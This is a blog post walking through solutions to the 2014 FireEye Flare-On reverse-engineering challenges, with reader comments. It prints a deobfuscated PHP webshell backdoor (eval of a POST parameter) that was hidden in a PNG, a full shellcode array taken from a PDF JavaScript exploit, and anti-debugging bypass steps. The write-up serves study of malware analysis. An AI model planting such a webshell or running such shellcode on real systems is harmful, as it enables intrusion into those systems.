Detailed Solutions to FireEye FLARE Challenge

  • Posted on: 17 September 2014
  • By: siteadm

Hey everybody. As you may heard, Flare-On challenge is over. I heard too late about challenge, but I managed to solve it all in couple of hours, here is solutions:

Quick Links:

Challenge 1 Solution (3rmahg3rd.b0b.d0ge@flare-on.com)

Challenge 2 Solution (a11.that.java5crap@flare-on.com)

Challenge 3 Solution (such.5h311010101@flare-on.com)

Challenge 4 Solution (wa1ch.d3m.spl01ts@flare-on.com)

Challenge 5 Solution (L0gging.ur.5tr0ke5@flare-on.com)

Challenge 6 Solution (l1nhax.hurt.u5.a1l@flare-on.com)

Challenge 7 Solution (da7.f1are.finish.lin3@flare-on.com)

 

 

 

Challenge 1:

As soon as you take a look at this file, you spot that it's a self-extracting archive file. So simply using 7Zip or Winrar, you can extract it and you'll get Challenge1.exe. As next step, we open the extracted file in DiE (Detect it Easy) and we spot that it's written in .NET (either C# or VB.NET).

So we open the file in ILSpy and simply we save whole decompiled project.

As soon as we open the file in Visual Studio, we navigate to btnDecode_Click and we can see it decrypts dat_secret resource string.

Decryption loop:

Simply running code in debug mode and putting breakpoint post this loop, will reveal secret email which is the answer to first challenge.

Simply sending a mail to email shown above, would've sent you the next challenge file.

 

 

Challenge 2:

In this challenge we receive an HTML file and an image file (PNG). HTML file doesn't have anything important, but when you open PNG file in hex editor, simply you spot something odd:

As you can see it's a PHP code added to PNG file. Now we save that additional piece of PHP code in a file. You'll see that it calls eval function, by simply changing eval to echo or print and we get this script:

$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0
XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceD
Y2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZc
eDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXH
g1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRc
eDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RV
x4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSg
kXyk7ZXZhbCgkY29kZSk7\';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f
\144\x65";eval($___($__));

Again if we change eval to echo, we'll get following code:

if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\
x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\
110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\
x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\
84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }

As you can see it's not a real code, backslashes is not escaped, some of them have which means they are hexadecimal value, others doesn't have which means they are ASCII codes. So simply I wrote a dirty code just to decrypt this string:

$var1 = "\\97\\49\\49\\68\\x4F\\84\\116\\x68\\97\\x74\\x44\\x4F\\x54\\x6A\\97\\x76\\x61\\x35\\x63\\x72\\97\\x70\\x41\\84\\x66\\x6C\\97\\x72\\x65\\x44\\65\\x53\\72\\111\\110\\68\\79\\84\\99\\x6F\\x6D";

$var2= "\\97\\49\\x31\\68\\x4F\\x54\\116\\104\\x61\\116\\x44\\79\\x54\\106\\97\\118\\97\\53\\x63\\114\\x61\\x70\\65\\84\\102\\x6C\\x61\\114\\101\\x44\\65\\x53\\72\\111\\x6E\\x44\\x4F\\84\\99\\x6F\\x6D";

$codes = explode("\\", $var1);

$finalstr = "";
foreach($codes as $code) 
{
 if ($code[0] == "x")
    $asciicode = hexdec($code[1].$code[2]);
 else
    $asciicode = $code[0].$code[1].$code[2];

$finalstr .= chr($asciicode);
}
echo $finalstr;

Output:

a11DOTthatDOTjava5crapATflareDASHonDOTcom

As you can guess it's a11.That.java5crap@flare-on.comwhich is the answer to challenge 2.

 

 

 

Challenge 3:

This challenge is simply multi-staged self-decrypting file, sort of an encrypted malware. Anyway, I solved it too fast, maybe like in 2 minutes using Ollydbg only. I'll try to explain process here:

As soon as you open the file in Olly, you will land in OEP and you'll notice after some basic intializer calls, it calls 0040252A  |. E8 D1EAFFFF    CALL such_evi.00401000 function. This function simply moves encrypted data to memory:

I just scrolled to end of these MOV instructions and simply noticed a dynamic call (CALL EAX):

When you follow this call, you'll spot self-decrypting code. It starts decrypting bytes just below itself, JE SHORT 0012FD9B will happen after decrypting all bytes, so I simply put breakpoint on 0012FD9B and I let app run.

We follow app flow step by step, we'll see it pushed "nopasaurus" string into stack and popped it into EBX. We'll spot second round of decryption routine which starts at 0x0012FDD9 and ends at 0x0012FDEC. Then just couple instructions below, you'll spot another decryption loop, starting at 0x0012FE34 and ending at 0x0012FE45.

Finally we'll see another loop which decrypts some fixed bytes and writes data to memory (stack) starting from 0x0012FE8F and ending at 0x0012FEA2if you let this loop run, you will get the secret key:

As you can see, answer was such.5h311010101@flare-on.com

 

 

 

Challenge 4:

This one was too fast too. Simply I uploaded PDF file to jsunpacker and I got embedded Javascript exploit code. Shortly after taking a general look at final, I spotted there is nothing special in file other than shellcode, nothing in javascript itself, nothing hidden in PDF. So I figured out I should analyze the shellcode. First of all we unescape the shellcode and here is shellcode in plain hex:

unsigned char shellcode[1024] =
{
    0xF9, 0x72, 0x49, 0x46, 0x25, 0x15, 0x0D, 0x7F, 0x3C, 0x3D, 0x84, 0xE0, 0x2A, 0xD6, 0x39, 0xE1, 
    0x4A, 0xA8, 0xB9, 0x76, 0x24, 0x98, 0x78, 0x73, 0x71, 0x7D, 0x7F, 0x75, 0x76, 0x20, 0xD4, 0x96, 
    0x91, 0xBA, 0x70, 0x19, 0xF9, 0xB8, 0x32, 0xE2, 0x7B, 0x46, 0xA8, 0x9B, 0x01, 0xFE, 0xC6, 0xC7, 
    0xC1, 0xE3, 0x24, 0x7E, 0x7C, 0x43, 0x80, 0xE1, 0x15, 0xB1, 0xB2, 0xB3, 0x66, 0x4F, 0xB6, 0x27, 
    0x3C, 0x9F, 0x4E, 0x7A, 0x2D, 0x41, 0xBF, 0xBB, 0x05, 0x77, 0x28, 0xF5, 0x93, 0x92, 0x90, 0x99, 
    0x98, 0xA9, 0x47, 0x0A, 0xEB, 0x14, 0x49, 0x3D, 0x4B, 0x48, 0x2F, 0x37, 0x8D, 0xB9, 0x78, 0x34, 
    0xB4, 0x0B, 0xD2, 0xD5, 0x31, 0xE0, 0x72, 0x35, 0x10, 0xD6, 0x40, 0x67, 0xBE, 0x2B, 0xFD, 0x4A, 
    0x1C, 0x04, 0x97, 0x3F, 0x3A, 0xFC, 0x79, 0x74, 0x1D, 0x42, 0xB5, 0xB7, 0x2C, 0x0C, 0x0D, 0x13, 
    0xF8, 0x25, 0xB0, 0x76, 0x79, 0x4E, 0xB1, 0x7B, 0x66, 0x0C, 0xBB, 0x2D, 0x1C, 0x91, 0x2F, 0xA9, 
    0x2C, 0xB8, 0xB0, 0x8D, 0x7E, 0x0D, 0x96, 0x3B, 0xD4, 0x49, 0x6B, 0xD5, 0xB7, 0x03, 0xF7, 0xE1, 
    0x7D, 0x46, 0xB9, 0x77, 0x42, 0x3D, 0x1D, 0x11, 0xE0, 0x67, 0x92, 0x4B, 0x85, 0xEB, 0x71, 0x24, 
    0x48, 0x9B, 0x02, 0xF9, 0x15, 0x4F, 0xBA, 0x04, 0x00, 0xE3, 0x27, 0x87, 0xD6, 0x9F, 0x70, 0x47, 
    0x7A, 0x18, 0xE2, 0x73, 0x1B, 0xFD, 0x74, 0x25, 0x7C, 0x43, 0x90, 0x41, 0xB6, 0x97, 0x99, 0x14, 
    0x3C, 0x78, 0x37, 0x83, 0xF8, 0xB3, 0x35, 0x72, 0x3F, 0x69, 0xF5, 0x98, 0xBE, 0x7F, 0x75, 0x4A, 
    0x93, 0xB4, 0xA8, 0xB5, 0xBF, 0x21, 0xD0, 0xFC, 0x40, 0x34, 0x7B, 0x05, 0xB2, 0xB2, 0x71, 0x7C, 
    0x4E, 0x81, 0xE1, 0x22, 0xEB, 0x04, 0x4A, 0x88, 0xE2, 0x2C, 0x2D, 0x49, 0x42, 0x8D, 0xB3, 0x75, 
    0x23, 0xF5, 0x7F, 0x72, 0x0B, 0xFC, 0x97, 0x01, 0xF7, 0xD3, 0xF9, 0x90, 0xBE, 0x41, 0x1C, 0xA8, 
    0x25, 0x7D, 0x35, 0xB1, 0x78, 0x79, 0x0A, 0xF8, 0x32, 0xFD, 0x9B, 0x76, 0x1D, 0x92, 0xB4, 0xBB, 
    0xB8, 0x77, 0x7E, 0x70, 0x73, 0x40, 0x7A, 0x0C, 0x89, 0xD6, 0x91, 0x24, 0x46, 0x14, 0xBA, 0x9F, 
    0x87, 0xC0, 0xD4, 0x0D, 0xB0, 0x4B, 0x2F, 0xB6, 0x81, 0xE3, 0x74, 0x05, 0xB9, 0x3F, 0x67, 0x1B, 
    0xD5, 0x93, 0x96, 0x83, 0xE0, 0x66, 0xB5, 0x47, 0xB7, 0x98, 0x3C, 0x15, 0x34, 0xA9, 0x48, 0x37, 
    0x27, 0x3D, 0x75, 0x4F, 0xBF, 0x8C, 0xE2, 0x43, 0x99, 0xB8, 0x73, 0x38, 0xEB, 0x7D, 0x7A, 0x25, 
    0x85, 0xF9, 0x8D, 0xBB, 0x91, 0x7F, 0x67, 0x96, 0x92, 0xB2, 0x79, 0x48, 0x3C, 0x4A, 0x33, 0xD4, 
    0xA9, 0x97, 0x7E, 0x37, 0x47, 0xB3, 0x3D, 0x93, 0x24, 0x05, 0x3F, 0x9F, 0x39, 0xE1, 0x71, 0x35, 
    0xB4, 0x23, 0xD6, 0xA8, 0x14, 0x88, 0xD1, 0xF8, 0x72, 0x42, 0xBA, 0x76, 0x08, 0xFD, 0x41, 0xBE, 
    0x4B, 0xB5, 0x0D, 0x15, 0x77, 0x43, 0x74, 0x11, 0xE3, 0x78, 0x20, 0xE0, 0x1C, 0x04, 0xBF, 0x40, 
    0x10, 0xD5, 0x27, 0xB7, 0xB1, 0x70, 0x2B, 0xF5, 0x2F, 0x22, 0xFC, 0x4E, 0x9B, 0x98, 0x1D, 0x90, 
    0x2C, 0xB6, 0x7C, 0x4F, 0x2D, 0x34, 0x66, 0x0C, 0x99, 0xB0, 0x49, 0x7B, 0x7A, 0x78, 0x7E, 0x7F, 
    0x73, 0x7D, 0x46, 0xB9, 0x91, 0xB0, 0x8D, 0x92, 0xBF, 0x90, 0xB7, 0x21, 0xF6, 0xE0, 0x4B, 0x13, 
    0xF5, 0x29, 0xEB, 0x67, 0x77, 0x25, 0x86, 0xE1, 0x05, 0x2A, 0xD6, 0x66, 0xB9, 0xA8, 0x35, 0x15, 
    0x96, 0x42, 0x98, 0x34, 0x99, 0xB1, 0xBA, 0xB4, 0x2C, 0xB5, 0x12, 0xF8, 0x93, 0x4F, 0x76, 0x7B, 
    0x79, 0x30, 0xFD, 0xBE, 0x71, 0x3F, 0x40, 0x4E, 0xB3, 0x7C, 0x75, 0x27, 0x09, 0xE2, 0x24, 0x43, 
    0x70, 0x0C, 0x2D, 0x18, 0xE3, 0x02, 0xF9, 0x4A, 0x47, 0xBB, 0xB6, 0x41, 0x9F, 0x72, 0x48, 0x97, 
    0x80, 0xD4, 0x28, 0xD5, 0x9B, 0x74, 0x3C, 0x1C, 0x84, 0xFC, 0x7D, 0x49, 0xB8, 0x7E, 0x6B, 0xD2, 
    0xE0, 0x1D, 0x76, 0x0D, 0x74, 0x31, 0xEB, 0x14, 0x70, 0x37, 0xA9, 0x71, 0x3D, 0x72, 0x46, 0xB2, 
    0x78, 0x2F, 0x7F, 0x04, 0xA9, 0xB6, 0x7B, 0x1C, 0x73, 0x3A, 0xE1, 0x3C, 0xBE, 0x19, 0xF9, 0x34, 
    0x00, 0xD5, 0x7A, 0x03, 0xF8, 0xE2, 0x24, 0xB0, 0x4E, 0xFD, 0x79, 0x3D, 0x96, 0x75, 0x15, 0x9B, 
    0x49, 0x7C, 0x2F, 0xB4, 0x4F, 0x9F, 0x99, 0x47, 0x3B, 0xC1, 0xD0, 0xE3, 0x14, 0x40, 0x3F, 0x90, 
    0xBF, 0x41, 0x97, 0x43, 0x8D, 0xB8, 0x48, 0xB5, 0x77, 0x0D, 0xB2, 0x4A, 0x93, 0x2D, 0x67, 0x92, 
    0x98, 0xB1, 0x1A, 0xFC, 0xB9, 0xD4, 0x2C, 0xB3, 0xF5, 0xBA, 0x0C, 0x69, 0xD6, 0x91, 0xA8, 0x04, 
    0xBB, 0x1D, 0x66, 0x46, 0x05, 0x25, 0xB7, 0x35, 0x42, 0x37, 0x27, 0x4B, 0x90, 0xFC, 0x33, 0xD2, 
    0xB2, 0x30, 0x64, 0xFF, 0x32, 0x5A, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x33, 
    0xC9, 0xB1, 0x18, 0x33, 0xFF, 0x33, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 
    0x0D, 0x03, 0xF8, 0xE2, 0xF0, 0x81, 0xFF, 0x5B, 0xBC, 0x4A, 0x6A, 0x8B, 0x5A, 0x10, 0x8B, 0x12, 
    0x75, 0xDA, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0xFF, 0x72, 0x34, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 
    0x72, 0x20, 0x03, 0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 
    0x75, 0xF4, 0x81, 0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 
    0x72, 0x65, 0x75, 0xE2, 0x49, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x8B, 0x72, 
    0x1C, 0x03, 0xF3, 0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x52, 0x33, 0xFF, 0x57, 0x68, 0x61, 0x72, 0x79, 
    0x41, 0x68, 0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x68, 
    0x33, 0x32, 0x01, 0x01, 0x66, 0x89, 0x7C, 0x24, 0x02, 0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0xFF, 
    0xD0, 0x68, 0x6F, 0x78, 0x41, 0x01, 0x8B, 0xDF, 0x88, 0x5C, 0x24, 0x03, 0x68, 0x61, 0x67, 0x65, 
    0x42, 0x68, 0x4D, 0x65, 0x73, 0x73, 0x54, 0x50, 0xFF, 0x54, 0x24, 0x2C, 0x57, 0x68, 0x44, 0x21, 
    0x21, 0x21, 0x68, 0x4F, 0x57, 0x4E, 0x45, 0x8B, 0xDC, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x14, 
    0x24, 0x81, 0x72, 0x0B, 0x16, 0xA3, 0xFB, 0x32, 0x68, 0x79, 0xCE, 0xBE, 0x32, 0x81, 0x72, 0x17, 
    0xAE, 0x45, 0xCF, 0x48, 0x68, 0xC1, 0x2B, 0xE1, 0x2B, 0x81, 0x72, 0x23, 0x10, 0x36, 0x9F, 0xD2, 
    0x68, 0x71, 0x44, 0xFA, 0xFF, 0x81, 0x72, 0x2F, 0xF7, 0xA9, 0xA9, 0x0C, 0x68, 0x84, 0xE9, 0xCF, 
    0x60, 0x81, 0x72, 0x3B, 0xBE, 0x93, 0xA9, 0x43, 0x68, 0xD2, 0xA3, 0x98, 0x37, 0x81, 0x72, 0x47, 
    0x82, 0x8A, 0x62, 0x3B, 0x68, 0xEF, 0xA4, 0x11, 0x4B, 0x81, 0x72, 0x53, 0xD6, 0x47, 0xC0, 0xCC, 
    0x68, 0xBE, 0x69, 0xA4, 0xFF, 0x81, 0x72, 0x5F, 0xA3, 0xCA, 0x54, 0x31, 0x68, 0xD4, 0xAB, 0x65, 
    0x52, 0x8B, 0xCC, 0x57, 0x53, 0x51, 0x57, 0x8B, 0xF1, 0x89, 0xF7, 0x83, 0xC7, 0x1E, 0x39, 0xFE, 
    0x7D, 0x0B, 0x81, 0x36, 0x42, 0x45, 0x45, 0x46, 0x83, 0xC6, 0x04, 0xEB, 0xF1, 0xFF, 0xD0, 0x68, 
    0x65, 0x73, 0x73, 0x01, 0x8B, 0xDF, 0x88, 0x5C, 0x24, 0x03, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 
    0x45, 0x78, 0x69, 0x74, 0x54, 0xFF, 0x74, 0x24, 0x40, 0xFF, 0x54, 0x24, 0x40, 0x57, 0xFF, 0xD0, 
} ;

I again simply pasted this code into Ollydbg and started dynamic analysis on it. Shellcode first finds GetProcAddress API, then finds LoadLibraryA address using GetProcAddress, then it loads user32.dll, then it calls GetProcAddress with user32.dll module handle and MessageBoxA string to find MessageBoxA API address in memory. Then you'll spot a loop which XORes data in stack with predefined 4-byte keys, if you place a breakpoint post-decryption, you'll see solution to this challenge:

 

 

 

 

Challenge 5:

This one wasn't hard, but it was time taking enough and required notepad and pencil. Luckily I figured out the point fast, otherwise probably I would've wasted several hours on it. Anyway, after opening the file in IDA, you'll spot a lot of functions and when you take a look at them, you'll see that most of them do nothing other than changing an integer and returning a letter. Very soon you'll figure out that it's a basic Keylogger which uses GetAsyncKeyState API to receive pressed keys. Then you'll also notice there is a bunch of global integers defined and some functions related to some keys being pressed modify them, set them to either 0 or 1:

As you can see, it returns string "5" and simply you can spot that this function only gets called when key 5 is pressed:

 

As you can see if result of GetAsyncKeyState is 0x35, it calls Key5Pressed function shown above. After checking each key pressed function which does have integer manipulation, you spot they all call a function at 0x100001060 which I renamed to IntegerInitializer, it simply resets integer values:

 

As you can see it sets all integers to 0, except one. When you check for XREFS to that very same DWORD, you see only LKeyPressed function accesses it. So LKeyPressed function checks, that if this variable is 1, if it's 1, it sets it to 0 and sets another variable to 1:

Now you need to see who accesses dword_10019460 as it's now has been set to 1. After checking it, you'll see it's key 0. You need to keep following program's flow in IDA. 

Long story short, as you've guessed you have to press keys in order of their associated integer value, when they are 1, you should press related key to that integer. After following integers and pressed keys, if you follow them properly, you'll type L0gging.ur.5tr0ke5@flare-on.com which is the answer of Challenge 5.

If you press all keys properly, you'll get this dialog:

 

 

 

 

Challenge 6:

This one took most of my time. I used IDA and EDB for this challenge. Anyway, after initial look at this challenge binary in IDA, you'll spot that it does have several strings and several functions that reads initial letter of these strings and writes them to memory. After general look, you'll also spot it looks like a base64 string. As an example, if you take a look at function in 0x452079 you'll see what I mean. Anyway, if you run this application directly from command line, you'll see this:

I decided to run this app with strace to see if it makes any syscall, it didn't disappoint me:

This is simplest anti-debugging technique in Linux, simply "if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) BeingDebugged = true;" explains it all.

As you can see here, syscall ptrace number is 101 (0x65). So I tried to find this specific syscall, it didn't take too long to discover:

So I checked for XREFS to this function and I found caller. Honestly as I was in rush (and I don't know why), I simply replaced caller bytes to NOPs and saved new file and continues analyze with new file.

I decided to take a look at the function that prints "stahp", "no", "na":

As I was analyzing arguments passed to file, I noticed that application tries to XOR entry to 0x56:

then it simply compares result of XOR to "bngcg`debd" string.

So I XORed "bngcg`debd" string to 0x56 and I found required key as first argument, which is 4815162342. After passing "4815162342" as first argument and ABCD as second argument, I noticed I'm simply waiting, program is somehow in sleep mode. As I was checking all syscalls, I noticed this function:

As mentioned here again, syscall 0x23 (35) is nanosleep. Again without bothering any further, I found all XREFs to this function and patched (replaced call code with NOPs) them all.

Then I started receiving "bad" string in output. This wasn't anywhere in code. After struggling for a while, I spotted where base64 string gets decoded fully. I decoded it and figured out it's shellcode.

Long story short, 0x44bb2b (call rdx), is where application calls base64 decoded shellcode with second parameter passed to main program placed in EAX. So if you place your breakpoint here, you land at beginning of execution of shellcode.

In shellcode, there is several pieces, each piece checks a letter from second argument. So if condition of a letter doesn't meet, it will jump to RBX which points to 0x00007fffc77afb72 (beginning of shellcode + 0x12). Call to this location means failure, means we've entered a wrong letter in second argument. So I decided to brute force letter by letter here. So I modified code at 0x00007fffc77afb72 to brute force all possible letters (from 0x00 to 0xFF). So using this method, I would be able to extract letter-by-letter each matched key for second argument (which is the solution/key for challenge 6).

As you can see, for the first letter, it RORes first byte of second parameter to 0xF2, then compares it to 27 (0x1B). If it's a match, it keeps running, otherwise calls to fail code (beginning + 0x12). For first letter, you might find it easy, simply you can ROR 0xF2 to 27 (0x1B) and get the key for first letter, but I simply decided to write the brute-forcer, because other letters becomes more complex and brute-forcing is necessary, so I did for all letters including easy ones. 

As you can see each time, it checks byte ptr[rax], when it moves to next letter, it simply adds 1 to rax, so it's always byte ptr [rax] (constant), so we should brute force this byte. Simply for each letter, I was resetting RCX manually to 0x00, then I move byte from rcx to byte ptr[rax] and then jump back to check again if condition met:

I did this slowly per each letter and wrote each RCX value that worked one by one on a piece of paper, finally I got this string: l1nhax.hurt.u5.a1l@flare-on.com

I know it wasn't best option, but I was trying to solve all challenges ASAP.

 

 

 

Challenge 7:

This challenge possibly have several ways to solve, but I decided to solve it with fastest possible method => Brute-Forcing.

When you open this file in IDA, you'll see that it calls bunch of functions and finally it writes 1.1 MB of data to gratz.exe. 

After checking each of these functions, you'll see that they are basically anti-debugging or anti-virtualization checks and some of them are basically checking module filename etc. But what they ALL have in common is, ALL of them have 2 XOR keys to decrypt a large binary data in memory:

As you can see this function either decrypts all bytes with 0x4EC4EC4F or 0x24924925.

So long story short as I was already getting tired, I decided to write a Python code which can brute force all possible keys, I extracted all possible keys from IDA and wrote them in a file, then I dumped untouched data from memory to a file. I called it "untouched". Here is my python code:

import sys
import array
from itertools import product

xorkeys =( ("the final countdown", "oh happy dayz"),
		("omglob", "UNACCEPTABLE!"),
		("you're so bad", "you're so good"),
		("\x00", "f", "\x01"),
		("I'm gonna sandbox your face", "Sandboxes are fun to play in"),
		("I can haz decode?", "Such fire. Much burn. Wow."),
		("\x09\x00\x00\x01", "Feel the sting of the Monarch!"),
		("1337", "! 50 1337"),
		("MATH IS HARD", "LETS GO SHOPPING"),
		("SHOPPING IS HARD", "LETS GO MATH"),
		("\x07\x77", "\x01\x02\x03\x05\x00\x78\x30\x38\x0D"),
		("192.203.230.10", "\x00"),
		("jackRAT", "\x00"), 
		("backdoge.exe", "\x00") )

def XORIt(DataOrig, Key):
	i=j=0
	keeprunning = True
	Data = list(DataOrig)
	while keeprunning:
		Data[i] = chr(ord(Data[i]) ^ ord(Key[j]))
		i += 1
		j += 1
		if (j == len(Key)): j =0
		if (i == len(Data)): keeprunning = False
	
	return "".join(Data)
		
def Decrypt(DataToXOR, KeyList):
	TempData = DataToXOR
	for i in range(0, len(KeyList)):
		TempData = XORIt(TempData, KeyList[i])
	return TempData

	
fh = open("untouched", "rb")
XORData = fh.read(512)
for PossibleKeys in product(*xorkeys):
	TempData = XORData
	TempData = Decrypt(TempData, PossibleKeys)
	if ((TempData.find("This")) > 2):
		print "Keys found! Decrypting whole file..."
		fh.seek(0,0)
		AllData = fh.read()
		AllData = Decrypt(AllData, PossibleKeys)
		file = open("Decrypted.exe", "wb")
		file.write(AllData)
		file.close()
		print "Decrypted!"
		sys.exit

After running my python code, I got decrypted gratz.exe within 60 seconds. After checking gratz.exe, I discovered that it's written in .NET, again we decompile it in ILSpy:

Now you can save this project similar to first challenge. After opening decompiled code in Visual Studio, you'll see this code:

As you can see there is an always running loop, I simply removed thread and loop and placed breakpoint in lulz class decoders:

TADA! That's it! If you got any questions, please don't hesitate to ask.

Comments

Best explanation I have ever seen I hope you write more analysis

Hey, thanks for only and best solutions for FLARE! I learned a lot from this post!

If the next challenge is to explain the Anti-Debug or anti-vm methods used in C7, then its good.

Add new comment

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.
CAPTCHA
This question is for testing whether or not you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Enter the characters shown in the image.